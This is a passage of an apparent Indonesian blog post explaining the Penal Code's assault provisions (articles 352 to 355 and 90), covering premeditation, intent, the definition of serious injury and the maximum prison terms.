Melihat pasal 352 ayat (2) bahwa “percobaan melakukan kejahatan itu (penganiyaan ringan) tidak dapat di pidana” meskipun dalam pengertiannya menurut para ahli hukum, percobaan adalah menuju kesuatu hal, tetapi tidak sampai pada sesuatu hal yang di tuju, atau hendak berbuat sesuatu dan sudah dimulai akan tetapi tidak sampai selesai. Disini yang dimaksud adalah percobaan untuk melakukan kejahatan yang bisa membahayakan orang lain dan yang telah diatur dalam pasal 53 ayat (1). Sedangkan percobaan yang ada dalam penganiyaan ini tidak akan membahayakan orang lain.

3 Panganiayaan berencana pasal 353 KUHP
Sebelum melakukan penganiayaan ada unsur direncanakan terlebih dahulu
Pasal 353 mengenai penganiyaan berencana merumuskan sebagai berikut :
1. Penganiayaan dengan berencana lebih dulu, di pidana dengan pidana penjara paling lama empat tahun.
2. Jika perbutan itu menimbulkan luka-luka berat, yang bersalah di pidana dengan pidana penjara palang lama tujuh tahun
3. Jika perbuatan itu mengakibatkan kematian, yang bersalah di pidana dengan pidana penjara paling lama sembilan tahun.
Menurut Mr.M.H. Tiirtamidjaja Menyatakan arti di rencanakan lebih dahulu adalah : “bahwa ada suatu jangka waktu, bagaimanapun pendeknya untuk mempertimbangkan, untuk berfikir dengan tenang”.
Apabila kita fahami tentang arti dari di rencanakan diatas, bermaksud sebelum melakukan penganiayaan tersebut telah di rencanakan terlebih dahulu, oleh sebab terdapatnya unsur direncanakan lebih dulu (meet voor bedachte rade) sebelum perbuatan dilakukan, direncanakan lebih dulu (disingkat berencana), adalah berbentuk khusus dari kesengajaan (opzettielijk) dan merupakan alas an pemberat pidana pada penganiayaan yang bersifat subjektif, dan juga terdapat pada pembunuhan berencana (340).
Pekataan berpikir dengan tenang, sebelum melakukan penganiayaan, si pelaku tidak langsung melakukan kejahatan itu tetapi ia masih berfikir dengan bating yang tenang apakah resiko/akibat yang akan terjadi yang disadarinya baik bagi dirinya maupun orang lain, sehingga si pelaku sudah berniat untuk melakukan kejahatan tersebut sesuai dengan kehendaknya yang telah menjadi keputusan untuk melakukannya. Maksud dari niat dan rencana tersebut tidak di kuasai oleh perasaan emosi yang tinggi, was-was/takut, tergesa-gesa atau terpaksa dan lain sebagainya.
Penganiayaan berencana yang telah dijelaskan diatas dan telah diatur dala pasal 353 apabila mengakibatkan luka berat dan kematian adalah berupa faktor/alas an pembuat pidana yang bersifat objektif, penganiayaan berencana apabila menimbulkan luka berat yang di kehendaki sesuai dengan (ayat 2) bukan disebut lagi penganiayaan berencana tetapi penganiayaan berat berencana (pasal 355 KUHP), apabila kejahatan tersebut bermaksud dan ditujukan pada kematian (ayat 3) bukan disebut lagi penganiayaan berencana tetapi pembunuhan berencana (pasal 340 KUHP).

4 Penganiayaan berat pasal 354 KUHP
Penganiayaan yang menyebabkan luka berat pasal 90 KUHP
Penganiayaan berat dirumuskan dalam pasal 354 yang rumusannya adalah sebgai berikut :
1. Barang siapa sengaja melukai berat orang lain, dipidana kerena melakukan penganiayaan berat dengan pidana penjara paling lama delapan tahun
2. Jika perbuatan itu mengakibatkan kematian, yang bersalah di pidana dengan pidana penjara paling lama sepuluh tahun.
Perbuatan berat (zwar lichamelijk letsel toebrengt) atau dapat disebut juga menjadikan berat pada tubuh orang lain. Haruslah dilakukan dengan sengaja. Kesengajaan itu harus mengenai ketiga unsur dari tindak pidana yaitu: pebuatan yang dilarang, akibat yang menjadi pokok alas an diadakan larang itu dan bahwa perbuatan itu melanggar hukum.
Ketiga unsur diatas harus disebutkan dalam undang-undang sebagai unsur dari perbuatan pidana, seorang jaksa harus teliti dalam merumuskan apakah yang telah dilakukan oleh seorang terdakwah dan ia harus menyebukan pula tuduhan pidana semua unsur yang disebutkan dalam undang-undang sebagai unsur dari perbuatan pidana.
Apabila dihubungkan dengan unsur kesengajaan maka kesengajaan ini harus sekaligus ditujukan baik tehadap perbuatannya, (misalnya menusuk dengan pisau), maupun terhadap akibatnya, yakni luka berat. Mengenai luka berat disini bersifat abstrak bagaimana bentuknya luka berat, kita hanya dapat merumuskan luka berat yang telah di jelaskan pada pasal 90 KUHP sebagai berikut:
Luka berat berarti :
Jatuh sakit atau luka yang tak dapat diharapkan akan sembuh lagi dengan sempurna atau yang dapat mendatangkan bahaya maut.
Senantiasa tidak cakap mengerjakan pekerjaan jabatan atau pekerjaan pencaharian
Didak dapat lagi memakai salah satu panca indra
Mendapat cacat besar
Lumpuh (kelumpuhan)
Akal (tenaga faham) tidak sempurna lebih lama dari empat minggu
Gugurnya atau matinya kandungan seorang perempuan.

Pada pasal 90 KUHP diatas telah dijelaskan tentang golongan yang bisa dikatakan sebagi luka berat, sedangkan akibat kematian pada penganiayaan berat bukanlah merupakan unsur penganiayaan berat, melainkan merupakan faktor atau alasan memperberat pidana dalam penganiayaan berat.

5 Penganiayaan berat pasal 355 KUHP
Merupakan penganiayaan gabungan antara penganiayaan berencana dan penganiayaan berat dan dilakukan secara bersama.
Penganiyaan berat berencana, dimuat dalam pasal 355 KUHP yang rumusannya adalah sebagai berikut :
1. Penganiayaan berat yang dilakukan dengan rencana terlebih dahulu, dipidana dengan pidana penjara paling lama dua belas tahun
2. Jika perbuatan itu menimbulkan kematian yang bersalah di pidana dengan pidana penjara paling lama lima belas tahun.
Bila kita lihat penjelasan yang telah ada diatas tentang kejahatan yang berupa penganiayaan berencana, dan penganiayaan berat, maka penganiayaan berat berencana ini merupakan bentuk gabungan antara penganiayaan berat (354 ayat 1) dengan penganiyaan berencana (pasal 353 ayat 1), dengan kata lain suatu penganiayaan berat yang terjadi dalam penganiayaan berencana, kedua bentuk penganiayaan ini haruslah terjadi secara serentak/bersama. Oleh karena harus terjadi secara bersama, maka harus terpenuhi baik unsur penganiayaan berat maupun unsur penganiayaan berencana.

Ikuti

Get every new post delivered to your Inbox.